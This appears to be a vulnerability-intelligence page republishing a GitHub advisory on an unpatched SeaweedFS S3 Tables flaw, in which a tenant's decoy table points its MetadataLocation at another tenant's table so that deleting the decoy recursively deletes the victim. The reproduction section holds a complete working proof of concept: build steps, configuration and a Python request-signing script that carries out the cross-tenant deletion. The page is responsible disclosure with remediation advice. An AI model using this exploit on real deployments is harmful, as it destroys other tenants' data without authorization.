llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-RMCC-687M-XW78

S3 Tables MetadataLocation can recursively delete another tenant table

Sin parche publicado
Descargar PNG JSON
CVSS 4.0
7.2
Alta
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición11 dDesde la divulgación, 9 nov 2026, 2:45 p. m.
Detección10 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 4.0 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
Medio riesgo, cero excusas.Las PoC crecen rápido, como las llamas bebé.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 nov 26
20 nov 26
21 nov 26
9 nov 26
12 nov 26
15 nov 26
18 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-RMCC-687M-XW78 divulgada · CVSS 7.2 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

S3 Tables MetadataLocation can recursively delete another tenant's table

Summary

S3 Tables accepts and stores a caller-selected `MetadataLocation` when creating an authorized table. `DeleteTable` later authorizes only that catalog table, converts the stored location into a same-bucket filer path, and recursively deletes it. A principal restricted to its own decoy table can point that decoy at a victim table in a sibling namespace and make SeaweedFS delete the victim path even though direct victim deletion is denied.

Impact and affected scope

  • Type: Broken access control / confused deputy
  • Affected component: SeaweedFS S3 Tables create, register, and delete paths
  • Preconditions: A low-privilege S3 Tables principal allowed to create and delete one table in a shared table bucket
  • Verified revision: `8dcdb70594ae9e9c2ac07aa6d497f38d8c580448` on 27 August 2026
  • Affected release range: `<= 4.44`, as entered by the maintainer; patched version not yet specified

The bounded proof deletes a minimal victim table. `DeleteTable` reaches the same recursive data-deletion sink for populated tables, but the report does not claim a specific production dataset size.

Technical details

Create and register paths store `MetadataLocation` without binding it to the authorized namespace/table path. Delete authorization is performed against the requested decoy table, after which the separately stored location becomes the recursive deletion target. Existing same-bucket and ancestor checks do not ensure that the target belongs to the resource that passed authorization.

Relevant code:

  • `weed/s3api/s3tables/handler_table.go:105,323,420,462` — accepts and stores table metadata locations.
  • `weed/s3api/s3tables/handler_table.go:1053,1163,1190` — authorizes the named table and initiates deletion.
  • `weed/s3api/s3tables/filer_ops.go:299` and `weed/s3api/s3tables/utils.go:113` — resolve and recursively delete the stored target.

Reproduction

Run this only on an authorized disposable host with Go 1.26 and Python 3. Build and start the same SeaweedFS mini deployment described below:

git clone https://github.com/seaweedfs/seaweedfs.git
cd seaweedfs
git checkout 8dcdb70594ae9e9c2ac07aa6d497f38d8c580448
go build -trimpath -o weed-poc ./weed
mkdir -p poc-data poc-tmp

Save this as `s3-poc.json`:

{
  "identities": [
    {
      "name": "victim-admin",
      "credentials": [
        {"accessKey": "victim-admin", "secretKey": "victim-secret"}
      ],
      "actions": ["Admin"]
    },
    {
      "name": "tagger",
      "credentials": [
        {"accessKey": "tagger", "secretKey": "tagger-secret"}
      ],
      "policyNames": ["UnrelatedTagOnly"]
    }
  ],
  "policies": [
    {
      "name": "UnrelatedTagOnly",
      "content": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"s3:PutBucketTagging\"],\"Resource\":[\"arn:aws:s3:::unrelated-bucket\"]}]}"
    }
  ]
}

Start the service:

TMPDIR="$PWD/poc-tmp" WEED_TELEMETRY=false ./weed-poc mini \
  -dir="$PWD/poc-data" \
  -ip=127.0.0.1 -ip.bind=127.0.0.1 \
  -master.port=19333 -volume.port=19340 -filer.port=18888 \
  -s3.port=18333 -s3.port.iceberg=0 -s3.port.lance=0 \
  -s3.config="$PWD/s3-poc.json" -metricsPort=19326 \
  -webdav=false -admin.ui=false -master.telemetry=false \
  -master.volumeSizeLimitMB=64 -volume.preStopSeconds=0 \
  >seaweedfs-poc.log 2>&1 &

Save this as `verify_metadata_location.py`:

#!/usr/bin/env python3
from __future__ import annotations

import datetime
import hashlib
import hmac
import http.client
import json
import sys
import time
import urllib.parse

HOST = "127.0.0.1"
PORT = 18333
REGION = "us-east-1"


def _sign(key: bytes, message: str) -> bytes:
    return hmac.new(key, message.encode(), hashlib.sha256).digest()


def request(method: str, path: str, query: list[tuple[str, str]] | None = None,
            body: bytes = b"", access: str = "victim-admin",
            secret: str = "victim-secret", service: str = "s3tables") -> tuple[int, bytes]:
    query = query or []
    canonical_query = "&".join(
        f"{urllib.parse.quote(k, safe='-_.~')}={urllib.parse.quote(v, safe='-_.~')}"
        for k, v in sorted(query)
    )
    target_query = urllib.parse.urlencode(query)
    target = path + (("?" + target_query) if target_query else "")
    now = datetime.datetime.now(datetime.timezone.utc)
    amz_date = now.strftime("%Y%m%dT%H%M%SZ")
    day = now.strftime("%Y%m%d")
    payload_hash = hashlib.sha256(body).hexdigest()
    canonical_uri = urllib.parse.quote(path, safe="/-_.~")
    canonical_headers = (
        f"host:{HOST}:{PORT}\n"
        f"x-amz-content-sha256:{payload_hash}\n"
        f"x-amz-date:{amz_date}\n"
    )
    signed_headers = "host;x-amz-content-sha256;x-amz-date"
    canonical_request = "\n".join([
        method, canonical_uri, canonical_query, canonical_headers,
        signed_headers, payload_hash,
    ])
    scope = f"{day}/{REGION}/{service}/aws4_request"
    string_to_sign = "\n".join([
        "AWS4-HMAC-SHA256", amz_date, scope,
        hashlib.sha256(canonical_request.encode()).hexdigest(),
    ])
    key_date = _sign(("AWS4" + secret).encode(), day)
    key_region = _sign(key_date, REGION)
    key_service = _sign(key_region, service)
    key_signing = _sign(key_service, "aws4_request")
    signature = hmac.new(
        key_signing, string_to_sign.encode(), hashlib.sha256
    ).hexdigest()
    headers = {
        "Host": f"{HOST}:{PORT}",
        "Content-Type": "application/x-amz-json-1.1",
        "x-amz-content-sha256": payload_hash,
        "x-amz-date": amz_date,
        "Authorization": (
            f"AWS4-HMAC-SHA256 Credential={access}/{scope}, "
            f"SignedHeaders={signed_headers}, Signature={signature}"
        ),
    }
    conn = http.client.HTTPConnection(HOST, PORT, timeout=15)
    conn.request(method, target, body=body, headers=headers)
    response = conn.getresponse()
    data = response.read()
    status = response.status
    conn.close()
    return status, data


def json_request(method: str, path: str, payload: dict | None = None,
                 query: list[tuple[str, str]] | None = None,
                 attacker: bool = False) -> tuple[int, bytes]:
    body = json.dumps(payload or {}, separators=(",", ":")).encode() \
        if payload is not None else b""
    credentials = ("tagger", "tagger-secret") if attacker \
        else ("victim-admin", "victim-secret")
    return request(method, path, query, body, credentials[0], credentials[1])


def require(label: str, actual: int, expected: int, body: bytes) -> dict:
    print(f"{label}: HTTP {actual}")
    if actual != expected:
        print(body.decode(errors="replace"), file=sys.stderr)
        raise SystemExit(f"expected HTTP {expected} for {label}, got {actual}")
    if body:
        try:
            return json.loads(body)
        except json.JSONDecodeError:
            pass
    return {}


def main() -> None:
    for _ in range(60):
        try:
            if request("GET", "/buckets")[0]:
                break
        except OSError:
            time.sleep(1)
    else:
        raise SystemExit("S3 endpoint did not become ready")

    status, body = json_request(
        "PUT", "/buckets", {"name": "shared-tables", "format": "ICEBERG"}
    )
    created = require("owner creates shared table bucket", status, 200, body)
    arn = created["arn"]
    arn_path = urllib.parse.quote(arn, safe=":/")

    for namespace in ("victimns", "attackerns"):
        status, body = json_request(
            "PUT", f"/namespaces/{arn_path}", {"namespace": [namespace]}
        )
        require(f"owner creates {namespace}", status, 200, body)

    victim_location = "s3://shared-tables/victimns/victim/metadata/v1.metadata.json"
    status, body = json_request("PUT", f"/tables/{arn_path}/victimns", {
        "name": "victim", "format": "ICEBERG", "metadataLocation": victim_location,
    })
    require("owner creates victim table", status, 200, body)

    get_victim_query = [
        ("tableBucketARN", arn), ("namespace", "victimns"), ("name", "victim")
    ]
    status, body = json_request("GET", "/get-table", query=get_victim_query)
    require("owner sees victim table before request", status, 200, body)

    policy_document = {
        "Version": "2012-10-17",
        "Statement": [{
            "Effect": "Allow",
            "Principal": "tagger",
            "Action": ["s3tables:CreateTable", "s3tables:DeleteTable"],
            "Resource": arn,
            "Condition": {"StringEquals": {
                "s3tables:namespace": "attackerns",
                "s3tables:tableName": "decoy",
            }},
        }],
    }
    status, body = json_request("PUT", f"/buckets/{arn_path}/policy", {
        "resourcePolicy": json.dumps(policy_document, separators=(",", ":")),
    })
    require("owner grants only decoy table lifecycle", status, 200, body)

    status, body = json_request(
        "DELETE", f"/tables/{arn_path}/victimns/victim", attacker=True
    )
    require("direct victim deletion baseline", status, 403, body)

    status, body = json_request("PUT", f"/tables/{arn_path}/attackerns", {
        "name": "decoy", "format": "ICEBERG", "metadataLocation": victim_location,
    }, attacker=True)
    require("create authorized decoy with victim metadata location", status, 200, body)

    status, body = json_request(
        "DELETE", f"/tables/{arn_path}/attackerns/decoy", attacker=True
    )
    require("delete authorized decoy", status, 200, body)

    status, body = json_request("GET", "/get-table", query=get_victim_query)
    require("owner lookup of victim after decoy deletion", status, 404, body)
    print("POC_SUCCESS: decoy deletion removed the unauthorized victim table")


if __name__ == "__main__":
    main()

Run:

python3 verify_metadata_location.py

The verified run observed HTTP 200 for the owner's victim lookup, HTTP 403 for the attacker's direct victim deletion, HTTP 200 for authorized decoy creation and deletion, and then HTTP 404 for the owner's victim lookup.

Expected: deleting an authorized table must remove only storage owned by that table; a stored location must not redirect recursive deletion across a namespace or ownership boundary.

Observed: authorization covered only the decoy, while recursive deletion followed its stored location into the victim table.

Suggested remediation

Bind each stored metadata location to the authorized table's canonical namespace/name path at creation and registration time. On deletion, resolve and verify that the target is owned by the table that passed authorization before any recursive operation.

Severity

CVSS v4.0: 7.2 (High) — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N`

This assessment is preliminary and pending maintainer confirmation.

Disclosure context and attribution

AI tools helped surface this potential issue. We independently reviewed the evidence and reproduced it against the pinned revision before submitting it privately through SeaweedFS's required channel.

Reported by the University of Sydney security research team:

  • Ziyue Wang (@Zyy0530) https://github.com/Zyy0530
  • Liyi Zhou (@lzhou1110) https://github.com/lzhou1110
  • Strick Sheng (@Str1ckl4nd) https://github.com/Str1ckl4nd
  • Maurice Ng (@mauriceng98) https://github.com/mauriceng98
  • Chenchen Yu (@7thParkk) https://github.com/7thParkk

We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 4.0

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
Requisitos de ataqueAT:N
NingunoPresentes
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaPasivaActiva
Confid. (sistema)VC:N
AltoBajoNinguno
Integridad (sistema)VI:H
AltoBajoNinguno
Disponib. (sistema)VA:H
AltoBajoNinguno
Confid. (posterior)SC:N
AltoBajoNinguno
Integridad (posterior)SI:N
AltoBajoNinguno
Disponib. (posterior)SA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.44
4.44
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-rmcc-687m-xw78

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.